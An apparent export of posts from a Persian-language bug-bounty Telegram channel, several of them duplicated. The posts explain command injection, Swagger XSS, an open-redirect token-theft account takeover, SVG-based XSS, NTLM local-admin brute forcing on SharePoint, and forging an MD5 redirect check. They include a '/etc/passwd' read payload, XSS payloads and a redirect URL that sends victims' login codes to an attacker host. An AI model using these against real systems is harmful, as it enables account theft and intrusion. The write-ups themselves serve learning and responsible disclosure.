Dagen (security)
https://github.com/shmilylty/OneForAll
یه ابزار برای جمع اوری ساب دامین ها که از پروایدر ها و ماژول های مختلف ساب میکشه بیرون و در حال توسعه هست😎
آیا RCE همون Command injection فرقشون توی چیه ؟
من اینجام که این موضوعو براتون روشن کنم 🤔
کد اینجکشن (RCE)
ببینید کد انجکشن زیر مجموعه حملات اینجکشنه دلیل به وجود اومدنش اینه که چکر فانکشن یا همون ولیدتور به علت سنیتاز نادرست دستور مخربو اجرا میکنه ولی کد اینجکشن قابلیت هدف گیری تمام فریم ورک و پلاگین ها و غیره ... داره در واقع ما کد برنامه نویسی به مسیر های مختلف وب سابت تزریق میکنیم . مخصوصا جایی هایی که یه چیزی داره سمت سرور چک میشه👀
و کارای مختلفی میشه باهاش کرد که بالاترینش گرفتن شل روی سرور هدفه .
کامند اینجکشن (command injection)
چه زمانی اتفاق میوفته ؟ زمانی که یک api endpoint میاد و ورودی کاربرو مستقیم توی Bash میزاره و باگش خیلی خطرناک تر از RCE هستش و میدونید دیگه میتونیم عین خود ترمینال دستور وارد کنیم و دانلود و حدف کنیم و حتی تغیر بدیم .
نکته : توی این باگ ورودی از کاربر گرفته میشه .
نکته : توی بحث باگ بانتی کافیه شما فقط یه دستور ساده وارد کنید تا آسیب پذیری رو تایید کنید و لزومی نیست که تا شل گرفتن پیش برید .
حالا این دو حمله میتونه هر کدوم یه سری بایپس های ریز و تکنیک های داشته باشه نمونه هایی که توضیح دادم خیلی سیمپل و ساده بودنند و در ادامه مطالبی با این عنوان گذاشته میشه امیدوارم درک خوبی داشته باشید .🌷
@Dagen_security
من اینجام که این موضوعو براتون روشن کنم 🤔
کد اینجکشن (RCE)
ببینید کد انجکشن زیر مجموعه حملات اینجکشنه دلیل به وجود اومدنش اینه که چکر فانکشن یا همون ولیدتور به علت سنیتاز نادرست دستور مخربو اجرا میکنه ولی کد اینجکشن قابلیت هدف گیری تمام فریم ورک و پلاگین ها و غیره ... داره در واقع ما کد برنامه نویسی به مسیر های مختلف وب سابت تزریق میکنیم . مخصوصا جایی هایی که یه چیزی داره سمت سرور چک میشه👀
و کارای مختلفی میشه باهاش کرد که بالاترینش گرفتن شل روی سرور هدفه .
<?php echo 1; ?>
کامند اینجکشن (command injection)
چه زمانی اتفاق میوفته ؟ زمانی که یک api endpoint میاد و ورودی کاربرو مستقیم توی Bash میزاره و باگش خیلی خطرناک تر از RCE هستش و میدونید دیگه میتونیم عین خود ترمینال دستور وارد کنیم و دانلود و حدف کنیم و حتی تغیر بدیم .
نکته : توی این باگ ورودی از کاربر گرفته میشه .
?check_order=cat /etc/passwd
نکته : توی بحث باگ بانتی کافیه شما فقط یه دستور ساده وارد کنید تا آسیب پذیری رو تایید کنید و لزومی نیست که تا شل گرفتن پیش برید .
حالا این دو حمله میتونه هر کدوم یه سری بایپس های ریز و تکنیک های داشته باشه نمونه هایی که توضیح دادم خیلی سیمپل و ساده بودنند و در ادامه مطالبی با این عنوان گذاشته میشه امیدوارم درک خوبی داشته باشید .🌷
@Dagen_security
👍3
خب خب میرسیم به بحث جذاب swagger
اول از همه باید بدونیم خود swagger چیه و نحوه کارکردش چیه ؟
یه ابزاره اپن سورس با پیاده سازی های مختلف که به دلوپرها کمک میکنه تا اندپویت ها api رو مستند کنن و راحت تر بفهمن هر نقطه و اندپوینت چه کاری انجام میده . خود swagger یه داکیومت خودکار میسازه و نشون میده که هر کدوم اندپوینت چه وردی و خروجی هایی داره و یه رابط گرافیکی تمیز میسازه👌
نکته : swagger از الگوی طراحی شده REST استفاده میکنه و معمولا هم فرمت json داره .
یک فایل openapi.yaml یا openapi.json داریم که به ما میگه API شما چه مسیرها، پارامترها، ورودیها، خروجیها و رفتارهایی داره.
خب حالا که اینارو فهمیدیم یه هانتر چه سو استفاده ای میتونه ازش بکنه اگه سرور هدف اسیپ پذیر باشه ؟
DOM reflected Xss
ببینید شما وقتی که میخواید رو پیاده سازی کنید برای بارگزاری فایل openapi.json به صورت دیفالت از پارامتر هایی مثل Config_url یا url استفاده میشه که اگر این پارامتر ها درست sanitize نشده باشند ما اسیپ پذیری داریم .
ولی توی خیلی از مواقع این برنامه نویس ها اسم پارامتر رو غیر قابل حدس میزارن و عوض میکنن ولی ضرری نداره یه پارامتر فاز سنگین هم روش انجام بدیم و شانس پیدا کردن این اسیپ پذیریو افزایش بدیم 👌
API Identification در Swagger
نمایش کامل مسیرها
توی سووگر به دلیل اینکه تمام مسیرهای api های یک اپلیکشن همه در معرض دید هستند و حتی پارامتر های api های را داریم همین امر میتونه به ما کمک بکنه مسیر های دیگه ای از REST API هایی که به صورت هیدن و مخفی هستند را حدس بزنیم و از مسیر هایی که مستند سازی نشده رو پیدا کنیم
مثال : اگر یک اندپوینت با این ادرس وجود داشته باشه :
احتمالا این اندپوینت هم وجود داره که با فاز بدست میاد :
این باعث میشه ما به یک سری از مسیر ها و اندپوینت ها برسیم که به دلیل پیکربندی نادرست که اطلاعات حساس در آن وجود داشته باشه🤌
دستکاریی و تغیر نقش بدون احزار هویت
اگه به یه صفحه سووگر رسیدید تست کنید که ایا اون صفحه از شما یوزر نیم و پسورد برای احراز هویت میخواد یا نه ؟
تست کنید ایا شما دسترسی و مجوز تغیر اندپوینت های حساس رو دارید و میتونید به مقادیر حساس کاربر دیگری دست پیدا کنید و یا نقش خودتون رو از یوزر عادی سایت به ادمین تغیر بدید ؟👀
نکته : اگه دسترسی برای ما فراهم باشه ضعف در سرور اصلیه نه سووگر🫡
این ها بخشی از چیزی بود که شما باید برای تست یه صفحه سووگر بدونید و مستند سازی سووگر میتونه سرنخ های زیادی برای یک مهاجم داشته باشه امیدوارم به اندازه کافی درک کرده باشید هر چند که بالا آوردن یه آزمایشگاه کوچیک برای سووگر توصیه میشه 😎☕️
@Dagen_security
اول از همه باید بدونیم خود swagger چیه و نحوه کارکردش چیه ؟
یه ابزاره اپن سورس با پیاده سازی های مختلف که به دلوپرها کمک میکنه تا اندپویت ها api رو مستند کنن و راحت تر بفهمن هر نقطه و اندپوینت چه کاری انجام میده . خود swagger یه داکیومت خودکار میسازه و نشون میده که هر کدوم اندپوینت چه وردی و خروجی هایی داره و یه رابط گرافیکی تمیز میسازه👌
نکته : swagger از الگوی طراحی شده REST استفاده میکنه و معمولا هم فرمت json داره .
یک فایل openapi.yaml یا openapi.json داریم که به ما میگه API شما چه مسیرها، پارامترها، ورودیها، خروجیها و رفتارهایی داره.
خب حالا که اینارو فهمیدیم یه هانتر چه سو استفاده ای میتونه ازش بکنه اگه سرور هدف اسیپ پذیر باشه ؟
DOM reflected Xss
ببینید شما وقتی که میخواید رو پیاده سازی کنید برای بارگزاری فایل openapi.json به صورت دیفالت از پارامتر هایی مثل Config_url یا url استفاده میشه که اگر این پارامتر ها درست sanitize نشده باشند ما اسیپ پذیری داریم .
site.com/swagger?config_url=/openapi
site.com/swagger?config_url=<script>alert(1)</script>
ولی توی خیلی از مواقع این برنامه نویس ها اسم پارامتر رو غیر قابل حدس میزارن و عوض میکنن ولی ضرری نداره یه پارامتر فاز سنگین هم روش انجام بدیم و شانس پیدا کردن این اسیپ پذیریو افزایش بدیم 👌
API Identification در Swagger
نمایش کامل مسیرها
توی سووگر به دلیل اینکه تمام مسیرهای api های یک اپلیکشن همه در معرض دید هستند و حتی پارامتر های api های را داریم همین امر میتونه به ما کمک بکنه مسیر های دیگه ای از REST API هایی که به صورت هیدن و مخفی هستند را حدس بزنیم و از مسیر هایی که مستند سازی نشده رو پیدا کنیم
مثال : اگر یک اندپوینت با این ادرس وجود داشته باشه :
/users/{id}/settings/
احتمالا این اندپوینت هم وجود داره که با فاز بدست میاد :
/users/{id}/security/
این باعث میشه ما به یک سری از مسیر ها و اندپوینت ها برسیم که به دلیل پیکربندی نادرست که اطلاعات حساس در آن وجود داشته باشه🤌
دستکاریی و تغیر نقش بدون احزار هویت
اگه به یه صفحه سووگر رسیدید تست کنید که ایا اون صفحه از شما یوزر نیم و پسورد برای احراز هویت میخواد یا نه ؟
تست کنید ایا شما دسترسی و مجوز تغیر اندپوینت های حساس رو دارید و میتونید به مقادیر حساس کاربر دیگری دست پیدا کنید و یا نقش خودتون رو از یوزر عادی سایت به ادمین تغیر بدید ؟👀
نکته : اگه دسترسی برای ما فراهم باشه ضعف در سرور اصلیه نه سووگر🫡
این ها بخشی از چیزی بود که شما باید برای تست یه صفحه سووگر بدونید و مستند سازی سووگر میتونه سرنخ های زیادی برای یک مهاجم داشته باشه امیدوارم به اندازه کافی درک کرده باشید هر چند که بالا آوردن یه آزمایشگاه کوچیک برای سووگر توصیه میشه 😎☕️
@Dagen_security
5❤2🔥1
خب اینجام که در مورد باگی که اخیرا زدم رو باهاتون به اشتراک بزارم که باعث شد مفهوم خوبیو یاد بگیرم 😎
بعد از تکمیل کردن واید ریکان علاقه شدیدی به عمیق شدن توی تارگت و شناسایی باگ های احراز هویت کردم با اینکه درک مکانیزم هر کدومشون سخت تر از یکی دیگه بود ولی باعث شد دید خوبی بگیرم و با شیوه های احراز هویت مدرن اشنا بشم ☺️
در حال چرخ زدن و کلیک کردن روی تموم لینکای توی سایت بودم که یک باتن و لینک توجه منو جلب کرد . در واقع لاگین کردن در یک بخش گیم و بازی وبسایت بود
سریع تب نتورک مرورگرمو باز کردم و روی لینک کلیک کردم چن تا درخواست توی تب تنورکم اومد که در ادامه دونه دونشو باهم تحلیل میکنیم .
ادرسی که من بازش کردم دقیقا این ادرس بود .
این ادرس با جاوا اسکریپ چک میکرد که ایا من لاگین هستم یا ن اگر من لاگین نبودم منو میبرد به ادرس صفحه لاگین و اگر لاگین بودم یک لینک دیگه با جاوا اسکریپت برام میساخت
و در ادامه
وقتی این لینکو نگاه میکنم سوالی که توی ذهنم میاد آیا این OAUTH عه ؟ جوابش میشه نه . چرا ؟ چون oauth پارامتر های مشخصی داره و نمیشه قوانین oauth رو نقض کرد .
پس وب اپلیکشن داره یک مجیک لینک میسازهه که با ریدارکت ما رو انتقال و به اپلیکشن توکنو پاس میده .
اولین کاری که میکنم سرچ کردن مسیری که ریدارکت انجام میشه توی جاوا اسکریپت های وبسایته (ِDOM) اینجا ما میتونیم client_id رو سرچ کنیم و توی این یافته هامون دنبال یه سر نخیم که بتونیم یه خطایی ایجاد کنیم که دریچه ای برامون باز بشه . ولی توی این جستجو چیز جالبی ندیدم .
و کار دوم چیه ؟
توی این کیس ما یه پارامتر داریم به اسم redirect_url و انگار که سرور به پارامتر ریدارکت اعتماد میکنه و توکنو به سمت اون پاس میده هنوز نمیدونیم چه اتفاقی داره میافته ایا این ادرس فیکسه فیکسه یا ما میتونیم توی اون دست ببریم و ادرس سرور یا هاست خودمونو بزاریم تا توکن قربانی به سمت هاست ما بیاد ؟
خیلی عجله ای شروع کردم هاستو به هاست خودم تغیر بدم ولی یه 403 خورد تو صورتم🗿
سعی کردم با حوصله روش کار کنم اولین کاری که کردم اینکه ایا میتونم اسکیم رو تغیر بدم ؟ خب نشد. بعدی هاست رو هم نمیشه تغیر داد ایا برنامه نویس رجکس زده ؟
رفتم سراغ پت یعنی این قسمت
فقط فقط میتونستم بخش اخرو بهش کاراکتر اضافه کنم پس سریع رفتم سراغ این تست ساده
ایندفعه هیچ گیری روی من نبود و اینتر رو زدم و به سرور من ریدارکت انجام شد و وب اپ گول خورد توی لاگ سرورم همچین ادرسی ارسال شد
پس سناریو حمله چی بود ؟
من لینک دوم که دستکاری شده بود رو به قربانی میدادم قربانی اونو توی مرورگرش باز میکرد و اگر تو خود اپ اصلی لاگین بود مراحلش احرازش انجام میشد ولی توکنش توسط مهاجم دزدیده میشد که اسم باگ میشه Account Takeover
امیدوارم این سناریو رو درک کرده باشید و یکی از شیوه های احراز هویت اشنا شده باشید . حمایت فراموش نشه🌷
@Dagen_security
بعد از تکمیل کردن واید ریکان علاقه شدیدی به عمیق شدن توی تارگت و شناسایی باگ های احراز هویت کردم با اینکه درک مکانیزم هر کدومشون سخت تر از یکی دیگه بود ولی باعث شد دید خوبی بگیرم و با شیوه های احراز هویت مدرن اشنا بشم ☺️
در حال چرخ زدن و کلیک کردن روی تموم لینکای توی سایت بودم که یک باتن و لینک توجه منو جلب کرد . در واقع لاگین کردن در یک بخش گیم و بازی وبسایت بود
Login by <TARGET>
سریع تب نتورک مرورگرمو باز کردم و روی لینک کلیک کردم چن تا درخواست توی تب تنورکم اومد که در ادامه دونه دونشو باهم تحلیل میکنیم .
ادرسی که من بازش کردم دقیقا این ادرس بود .
https://www.target.org/game/action/api/accounts/v2/login
این ادرس با جاوا اسکریپ چک میکرد که ایا من لاگین هستم یا ن اگر من لاگین نبودم منو میبرد به ادرس صفحه لاگین و اگر لاگین بودم یک لینک دیگه با جاوا اسکریپت برام میساخت
https://www.target.org/api/v1/connecting/authorize?client_id=examle&redirect_uri=https://www.target.org/game/action/remot_login&des_url=https://www.target.org/
و در ادامه
https://www.target.org/game/action/remot_login?code=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
وقتی این لینکو نگاه میکنم سوالی که توی ذهنم میاد آیا این OAUTH عه ؟ جوابش میشه نه . چرا ؟ چون oauth پارامتر های مشخصی داره و نمیشه قوانین oauth رو نقض کرد .
پس وب اپلیکشن داره یک مجیک لینک میسازهه که با ریدارکت ما رو انتقال و به اپلیکشن توکنو پاس میده .
اولین کاری که میکنم سرچ کردن مسیری که ریدارکت انجام میشه توی جاوا اسکریپت های وبسایته (ِDOM) اینجا ما میتونیم client_id رو سرچ کنیم و توی این یافته هامون دنبال یه سر نخیم که بتونیم یه خطایی ایجاد کنیم که دریچه ای برامون باز بشه . ولی توی این جستجو چیز جالبی ندیدم .
و کار دوم چیه ؟
توی این کیس ما یه پارامتر داریم به اسم redirect_url و انگار که سرور به پارامتر ریدارکت اعتماد میکنه و توکنو به سمت اون پاس میده هنوز نمیدونیم چه اتفاقی داره میافته ایا این ادرس فیکسه فیکسه یا ما میتونیم توی اون دست ببریم و ادرس سرور یا هاست خودمونو بزاریم تا توکن قربانی به سمت هاست ما بیاد ؟
https://www.target.org/game/action/remot_login
خیلی عجله ای شروع کردم هاستو به هاست خودم تغیر بدم ولی یه 403 خورد تو صورتم🗿
سعی کردم با حوصله روش کار کنم اولین کاری که کردم اینکه ایا میتونم اسکیم رو تغیر بدم ؟ خب نشد. بعدی هاست رو هم نمیشه تغیر داد ایا برنامه نویس رجکس زده ؟
رفتم سراغ پت یعنی این قسمت
/game/action/remot_login
فقط فقط میتونستم بخش اخرو بهش کاراکتر اضافه کنم پس سریع رفتم سراغ این تست ساده
https://www.target.org/game/action/remot_login\@server.me
ایندفعه هیچ گیری روی من نبود و اینتر رو زدم و به سرور من ریدارکت انجام شد و وب اپ گول خورد توی لاگ سرورم همچین ادرسی ارسال شد
https://server.me/?code=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
پس سناریو حمله چی بود ؟
من لینک دوم که دستکاری شده بود رو به قربانی میدادم قربانی اونو توی مرورگرش باز میکرد و اگر تو خود اپ اصلی لاگین بود مراحلش احرازش انجام میشد ولی توکنش توسط مهاجم دزدیده میشد که اسم باگ میشه Account Takeover
امیدوارم این سناریو رو درک کرده باشید و یکی از شیوه های احراز هویت اشنا شده باشید . حمایت فراموش نشه🌷
@Dagen_security
❤4👍1
اگه به یک صفحه ای رسیدید که محتوای xml داخل اون قرار داره سریع از کنارش رد نشید
ما یه مبحثی داریم به اسم پارامتر دیسکاوری که روش های مختلفی برای پیدا کردن پارامتر های یه صفحه وجود داره !
توی سناریو بالا طبق مقاله هایی که خونده بودم میدونستم که کانتنت xml تایپ اسیپ پذیری کد مخرب جاوا اسکریپت(XSS) توش اجرا میشه
یکی از روش های پارامتر دیسکاوری جمع کردن پارامتر از خود سورس همون صفحس پس اومدم و دونه به دونه پارامتر هارو توی ادرس یه مقدار رندوم بهش دادم یکی از پارامتر ها مقدارش عوض شد ☺️
حالا کافی بود که یه پیلود xss بزارم ✅
اتفاقی که اینجا افتاد این بود که نه تنها پیلودم اجرا نشد بلکه به یه خطای جدید خوردم :
یه جورایی منطقی بود چون کد جی اس توی اون کانتنت تایپ اجرا نمیشه. پس چی اجرا میشه ؟ افرین SVG
بعد کلی سرچ پیلود نهایی این بود :
خیلی مهمه وقتی به اینجور صفحه ها توی ریکان رسیدید یه xss رو اسکیپ نکنید🫡
@Dagen_security
ما یه مبحثی داریم به اسم پارامتر دیسکاوری که روش های مختلفی برای پیدا کردن پارامتر های یه صفحه وجود داره !
توی سناریو بالا طبق مقاله هایی که خونده بودم میدونستم که کانتنت xml تایپ اسیپ پذیری کد مخرب جاوا اسکریپت(XSS) توش اجرا میشه
application/xml
یکی از روش های پارامتر دیسکاوری جمع کردن پارامتر از خود سورس همون صفحس پس اومدم و دونه به دونه پارامتر هارو توی ادرس یه مقدار رندوم بهش دادم یکی از پارامتر ها مقدارش عوض شد ☺️
device.prov.serverName
حالا کافی بود که یه پیلود xss بزارم ✅
/?device.prov.serverName = <script>alert(1)</script>
اتفاقی که اینجا افتاد این بود که نه تنها پیلودم اجرا نشد بلکه به یه خطای جدید خوردم :
xml parsed error !
یه جورایی منطقی بود چون کد جی اس توی اون کانتنت تایپ اجرا نمیشه. پس چی اجرا میشه ؟ افرین SVG
بعد کلی سرچ پیلود نهایی این بود :
<svg xmln="https://www.w3.org/2000/svg/" onload="alert(orign)"></svg>
خیلی مهمه وقتی به اینجور صفحه ها توی ریکان رسیدید یه xss رو اسکیپ نکنید🫡
@Dagen_security
❤2👍1
تارگتم از یه نوع authentication متفاوت استفاده میکرد و من مجبور شدم برم راجبش بخونم ☺️
در حال انجام گوگل دورک با سرچ انجنین های مختلف بودم که به یه لینکی رسیدم :
وقتی بازش کردم در نگاه اول فک کردم پای یک basic authentication ساده در میونه ولی وقتی به لینک نگاه میکنم خیلی شبیه به یکی از cms های مایکروسافته .
پس یه whatweb روش انداختم و فهمیدم که تارگتم داره Microsoft sharepoint استفاده میکنه .
یه کردنشیال ساده وارد کردم و توی برپ یه نگاهی بهش انداختم توی پکت یه مقدار عجیب و گنگ دیدم
پس رفتم تا یه ریسرچ ریزی راجبش بزنم .
NTLM چیه ؟
بعد از ریسرچ متوجه شدم که یه احراز هویته که وقتی ما کرندشیال رو میزنیم ما رو با اکتیو داریکتوری ویندوز احراز میکنه حالا هر NTLM یه دامین داخلی داره که مقدارش توی ولیو مشخصه(توی ربسپانس درخواست باید دیکود بشه با base64)
پس من وقتی مقدار test رو به عنوان یوزر نیم و یه پسورد بهش بدم میره و با دامین داخلی احرازش میکنه و تطابق میده
ولی یه راه دومی هم وجود داره
سرور مایکروسافتی که این پشته یه احراز لوکال مثل ویندوز خودمون داره درسته ؟
ینی مثل کامپیوتر خودمون شخصیه و نمیره با دامین احراز کنه .
پس چون نمیدونیم که اون پشت چخبره و یوزرنیم چیه یه یوزرنیم رو ثابت میگیریم —>
و پسورد رو بروت فرس میکنیم . ولی به این راحتی نبود و یه پسورد خیلی سخت داشت 😕
دیگه داشتم بیخیالش میشدم ولی توی همین حین ریسرچ میکردم
اگه اون راه دومی رو برم ممکنه یه پسورد اسون تر برای لوکال وجود داشته باشه ؟
پس اومدم به طبق دانشی که از قبل داشتم یه تریک ریز زدم :
ماموریت با موفقیت انجام شد و وارد پنل شدم پسورد چی بود ؟
یادتون باشه اگر شما پسوردی که با دامین احراز میشه رو بروت کنید شانستون برای پیداکردن پسورد صحیح تقریبا صفره ولی اگر یوزر نیم رو به این صورت وارد کنید :
دیگه با دامین چک نمیشه و پسوردی که شما میزنی با لوکال احراز میشه که معمولا پسورد سادس.
امیدوارم سناریو رو درک کرده باشید و خیلی مهمه در مورد هر چیزی یه دانش کوچیکی داشته باشید و سرچ کنید تا به هدفتون برسید 🌷
@Dagen_security
در حال انجام گوگل دورک با سرچ انجنین های مختلف بودم که به یه لینکی رسیدم :
sub.target.net/_layouts/211/bessinus/appLogin.aspx/passReset
وقتی بازش کردم در نگاه اول فک کردم پای یک basic authentication ساده در میونه ولی وقتی به لینک نگاه میکنم خیلی شبیه به یکی از cms های مایکروسافته .
پس یه whatweb روش انداختم و فهمیدم که تارگتم داره Microsoft sharepoint استفاده میکنه .
یه کردنشیال ساده وارد کردم و توی برپ یه نگاهی بهش انداختم توی پکت یه مقدار عجیب و گنگ دیدم
Authentication : NTLM NDUWNIDNWIDNWIBDDDDDD=
پس رفتم تا یه ریسرچ ریزی راجبش بزنم .
NTLM چیه ؟
بعد از ریسرچ متوجه شدم که یه احراز هویته که وقتی ما کرندشیال رو میزنیم ما رو با اکتیو داریکتوری ویندوز احراز میکنه حالا هر NTLM یه دامین داخلی داره که مقدارش توی ولیو مشخصه(توی ربسپانس درخواست باید دیکود بشه با base64)
پس من وقتی مقدار test رو به عنوان یوزر نیم و یه پسورد بهش بدم میره و با دامین داخلی احرازش میکنه و تطابق میده
ولی یه راه دومی هم وجود داره
سرور مایکروسافتی که این پشته یه احراز لوکال مثل ویندوز خودمون داره درسته ؟
ینی مثل کامپیوتر خودمون شخصیه و نمیره با دامین احراز کنه .
پس چون نمیدونیم که اون پشت چخبره و یوزرنیم چیه یه یوزرنیم رو ثابت میگیریم —>
administrator و پسورد رو بروت فرس میکنیم . ولی به این راحتی نبود و یه پسورد خیلی سخت داشت 😕
Username : administrator
password : BRUTE
دیگه داشتم بیخیالش میشدم ولی توی همین حین ریسرچ میکردم
اگه اون راه دومی رو برم ممکنه یه پسورد اسون تر برای لوکال وجود داشته باشه ؟
پس اومدم به طبق دانشی که از قبل داشتم یه تریک ریز زدم :
username : .\administrator
password : BRUTE
ماموریت با موفقیت انجام شد و وارد پنل شدم پسورد چی بود ؟
username : .\administrator
password : P@ssw0rd ✅
یادتون باشه اگر شما پسوردی که با دامین احراز میشه رو بروت کنید شانستون برای پیداکردن پسورد صحیح تقریبا صفره ولی اگر یوزر نیم رو به این صورت وارد کنید :
.\administrator
دیگه با دامین چک نمیشه و پسوردی که شما میزنی با لوکال احراز میشه که معمولا پسورد سادس.
امیدوارم سناریو رو درک کرده باشید و خیلی مهمه در مورد هر چیزی یه دانش کوچیکی داشته باشید و سرچ کنید تا به هدفتون برسید 🌷
@Dagen_security
1🔥5
یه open redirect داشتم ولی نه یه ریدارکت معمولی ❌
در حال چرخیدن توی قسمت های مختلف سایت بودم و ترافیک رو با برپم انالیز میکردم یه ادرسی توجه منو به خودش جلب کرد که درواقع ریدارکت شدن به دشبوردم بود .
وقتی به لینک نگاه میکنم این لینک داره من به سمت پنلم هدایت میکنه ایا با js داره منو ریدارکت میکنه یا http ?
وقتی برپ رو باز میکنم خبری از 302 نیست پس داره با js هندل میشه پس احتمال وجود xss هم هست
فایلای جاوااسکریپ رو دونه به دونه باز کردم و کلمه کلیدی BaseUrl رو سرچ کردم ورودی من توی window.Location مینشست ولی اسکیم javascript:// ریپلیس میشد . پس من xss نداشتم
ولی ورودی من مستقیما ریدارکت میشد ولی یه پارامتر دیگه هم میگرف به اسم S که من فعلا نمیدونم چیه 😕
اومدم و ادرسو به سایت خودم ریدارکت کردم
هیچ اتفاقی نیوفتاد و با یه صفحه خالی رو به رو شدم!
اینجا فهمیدم یه چکی داره انجام میشه که درواقع بهش میگن checksum یا همون HMAC
سوال پیش میاد HMAC چیه ؟
یه پروتکشنه امنیتیه که مقدارش با یه الگوریتم ساخته میشه و اگر با اون مقداری که سرور انتظار داره یکی باشه منو ریدارکت میکنه
پس ما عملا نمیتونیم هاست رو تغیر بدیم چون مقدار HMAC نداریم !
HMAC چجوری ساخته میشد ؟
نا امید نشدم و رفتم سراغ فایلای جاوااسکریپ و بعد از گشتن تمامی سورس ها این لاین از کد جاوااسکریپت نظرمو جلب کرد :
باید متوجه شده باشید که برنامه نویس چه اشتباهی فجیهی رو مرتکب شده هش md5 به عنوان HMAC داره چک میشه 😐
پس به سادگی اومدم و سایت خودمو هش md5 کردم:
و به عنوان hmac به پارامتر S پاس دادم و منو ریدارکت درست کرد ✅ , و لینک نهایی این شد :
درسته که برنامه نویس این کارو به ظاهر یک پروتکشن پیاده سازی کرده بود ولی این روش به تنهایی اصلا کافی و قوی نبود و به راحتی دور میخورد :)
@Dagen_security
در حال چرخیدن توی قسمت های مختلف سایت بودم و ترافیک رو با برپم انالیز میکردم یه ادرسی توجه منو به خودش جلب کرد که درواقع ریدارکت شدن به دشبوردم بود .
main.target.com/?BaseUrl=https://panel.target.com&S=cb21338a61c9d2dbbe477930eb385c8b
وقتی به لینک نگاه میکنم این لینک داره من به سمت پنلم هدایت میکنه ایا با js داره منو ریدارکت میکنه یا http ?
وقتی برپ رو باز میکنم خبری از 302 نیست پس داره با js هندل میشه پس احتمال وجود xss هم هست
فایلای جاوااسکریپ رو دونه به دونه باز کردم و کلمه کلیدی BaseUrl رو سرچ کردم ورودی من توی window.Location مینشست ولی اسکیم javascript:// ریپلیس میشد . پس من xss نداشتم
ولی ورودی من مستقیما ریدارکت میشد ولی یه پارامتر دیگه هم میگرف به اسم S که من فعلا نمیدونم چیه 😕
اومدم و ادرسو به سایت خودم ریدارکت کردم
main.target.com/?BaseUrl=https://redirect.com&S=cb21338a61c9d2dbbe477930eb385c8b
هیچ اتفاقی نیوفتاد و با یه صفحه خالی رو به رو شدم!
اینجا فهمیدم یه چکی داره انجام میشه که درواقع بهش میگن checksum یا همون HMAC
سوال پیش میاد HMAC چیه ؟
یه پروتکشنه امنیتیه که مقدارش با یه الگوریتم ساخته میشه و اگر با اون مقداری که سرور انتظار داره یکی باشه منو ریدارکت میکنه
پس ما عملا نمیتونیم هاست رو تغیر بدیم چون مقدار HMAC نداریم !
HMAC چجوری ساخته میشد ؟
نا امید نشدم و رفتم سراغ فایلای جاوااسکریپ و بعد از گشتن تمامی سورس ها این لاین از کد جاوااسکریپت نظرمو جلب کرد :
return ($Sed==md5($BaseUrl));
باید متوجه شده باشید که برنامه نویس چه اشتباهی فجیهی رو مرتکب شده هش md5 به عنوان HMAC داره چک میشه 😐
پس به سادگی اومدم و سایت خودمو هش md5 کردم:
echo redirected.com | md5sum
و به عنوان hmac به پارامتر S پاس دادم و منو ریدارکت درست کرد ✅ , و لینک نهایی این شد :
main.target.com/?BaseUrl=https://redirected.com&S=15d93c231627d89e8b6430988eb21228
درسته که برنامه نویس این کارو به ظاهر یک پروتکشن پیاده سازی کرده بود ولی این روش به تنهایی اصلا کافی و قوی نبود و به راحتی دور میخورد :)
@Dagen_security
👍2❤1
DNS Wildcard Learning
اگر وبسایتی DNS خود را بهصورت wildcard تنظیم کرده باشد، بهترین کار انجام name resolution است. ابزار Puredns این کار را برای ما انجام میدهد.
کاری که این ابزار انجام میدهد، حذف IPهای مربوط به wildcard است. هر سابدامینی که با این IPها مچ شود، دور ریخته میشود.
اما مشکل اصلی کجاست؟
وبسایتها و دامینهای مختلف (با کانتکتهای متفاوت) میتوانند IP یکسان داشته باشند. ابزارهایی مثل Puredns این موارد را نادیده میگیرند (miss میکنند).
راهحل مشکل:
انجام HTTP filtration با ابزار httpx:
cat sub_domains.txt | httpx -flc <line filter>
با اجرای این دستور میتوانیم فیلتر را روی محتوای صفحه اعمال کنیم. به این صورت، هر لاینی که در صفحات بیش از بقیه تکرار شده باشد (مثلاً پیام پیشفرض هاست)، شناسایی و حذف میشود و میس کمتری دارد .
@Dagen_security
اگر وبسایتی DNS خود را بهصورت wildcard تنظیم کرده باشد، بهترین کار انجام name resolution است. ابزار Puredns این کار را برای ما انجام میدهد.
کاری که این ابزار انجام میدهد، حذف IPهای مربوط به wildcard است. هر سابدامینی که با این IPها مچ شود، دور ریخته میشود.
اما مشکل اصلی کجاست؟
وبسایتها و دامینهای مختلف (با کانتکتهای متفاوت) میتوانند IP یکسان داشته باشند. ابزارهایی مثل Puredns این موارد را نادیده میگیرند (miss میکنند).
راهحل مشکل:
انجام HTTP filtration با ابزار httpx:
cat sub_domains.txt | httpx -flc <line filter>
با اجرای این دستور میتوانیم فیلتر را روی محتوای صفحه اعمال کنیم. به این صورت، هر لاینی که در صفحات بیش از بقیه تکرار شده باشد (مثلاً پیام پیشفرض هاست)، شناسایی و حذف میشود و میس کمتری دارد .
@Dagen_security
👍1
وروردی من توی بک تیک بود چجوری تونستم به xss برسم ؟
یکی از باگ تایپای مورد علاقه هر هانتری xss هست. این اسیپ پذیری تست کیس های مخصوص به خودشو داره
مهاجم تلاش میکنه از طریق وردی های وب اپلیکشن مثل فرم ها , پارامتر ها و..
کد مخرب جاوا اسکریپ رو به هر نحوی به وبسایت تزریق کنه.
توی یه کیس خاص ورودی از من از پارامترexecuteSearch گرفته میشد
وقتی مقدار تست رو توی سورس کد سرچ کردم وروردی من دقیقا توی این کد و داخل بک تیک رفلکت شده بود .!
وقتی چشمم به این تکه کد میخوره دو تا راه بیشتر ندارم یا باید با گذاشتن خود بک تیک بریک کنم و یا تگ اسکریپ رو ببندیدم . ولی اصلا جوابگو نبود و تارگت یه بک اسلش به تگ میداد و کلا بک تیک رو هم بر میداشت :)
خروجی:
اما و اما ما یه مفهومی داریم به اسم —> literal template javascript
این مفهوم به ما میگه شما حق داری کد جاوا اسکریپت رو توی بک تیک مستقیما با این سینتکس اجرا کنی و خروجی بگیری .!
پس تنها کاری که لازم بود انجام بدم اینکه یه الرت بزنم و تاییدیه xss رو بگیرم 😎
با موفقیت الرت خورد و من به xss رسیدم .🫡
نکته ای که وجود داشت اینه که اگه شما دائما در حال خوندن و ریسرچ کردن نباشید و در کنار هانتتون مقاله خوندنو کنار بزارید همچین باگایی رو بیخیال میشید پس سعی کنید زنجیره دانش رو هیچ وقت قطع نکنید .🌷
@Dagen_security
یکی از باگ تایپای مورد علاقه هر هانتری xss هست. این اسیپ پذیری تست کیس های مخصوص به خودشو داره
